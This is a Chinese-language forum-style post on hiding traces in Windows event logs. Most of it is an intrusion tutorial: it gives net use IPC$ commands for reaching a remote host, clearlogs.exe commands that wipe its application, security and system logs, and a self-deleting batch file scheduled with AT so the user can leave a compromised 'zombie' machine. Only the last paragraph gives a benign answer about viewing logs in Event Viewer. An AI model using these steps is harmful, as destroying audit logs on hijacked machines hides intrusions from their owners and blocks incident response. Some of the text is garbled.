电脑系统日志怎么才能看不到你开机

电脑系统日志怎么才能看不到你开机

系统日志文件：%sys temroot%\sys tem32\config\SysEvent.EVT 在注册表里的日志LOG文件在注册表中的位置： HKEY_LOCAL_MACHINE\sys tem\CurrentControlSet\Services\Eventlog
使用工具clearlog.exe清理工具清理方法如下：
使用方法:
Usage: clearlogs [\\computername] <-app / -sec / -sys>

-app = 应用程序日志
-sec = 安全日志
-sys = 系统日志
a. 可以清除远程计算机的日志
** 先用ipc连接上去: net use \\ip\ipc$ 密码/user:用户名
** 然后开始清除: 方法
clearlogs \\ip -app 这个是清除远程计算机的应用程序日志
clearlogs \\ip -sec 这个是清除远程计算机的安全日志
clearlogs \\ip -sys 这个是清除远程计算机的系统日志

b.清除本机日志: 如果和远程计算机的不能空连接. 那么就需要把这个工具传到远程计算机上面
然后清除. 方法:

clearlogs -app 这个是清除远程计算机的应用程序日志
clearlogs -sec 这个是清除远程计算机的安全日志
clearlogs -sys 这个是清除远程计算机的系统罩?

安全日志已经被清除.Success: The log has been cleared 成功.

为了更安全一点.同样你也可以建立一个批处理文件.让自动清除. 做好批处理文件.然后用at命令建立一个计划任务. 让自动运行. 之后你就可以离开你的肉鸡了.
例如建立一个 c.bat

rem ============================== 开始
@echo off
clearlogs -app
clearlogs -sec
clearlogs -sys
del clearlogs.exe
del c.bat
exit
rem ============================== 结束

在你的计算机上面测试的时候 可以不要 @echo off 可以显示出来. 你可以看到结果
第一行表示: 运行时不显示窗口
第二行表示: 清除应用程序日志
第三行表示: 清除安全日志
第四行表示: 清除系统日志
第五行表示: 删除 clearlogs.exe 这个工具
第六行表示: 删除 c.bat 这个批处理文件
第七行表示: 退出

用AT命令. 建立一个计划任务. 这个命令在原来的教程里面和杂志里面都有. 你可以去看看详细的使用方法

AT 时间 c:\c.bat

你是指在哪里打开查看还是指存放在哪里？ 1 如果是说在哪里打查看，请在“我的电脑”上点右键--点“管理”，在“事件查看器”里就可以查看相关日志了。 2 如果是说存放在哪里，请在系统安装盘，如c:\windows\system32\config\目录中的几个.evt文件即是，但打开是乱码。 如果需要保存日志请在事件查看器里导出。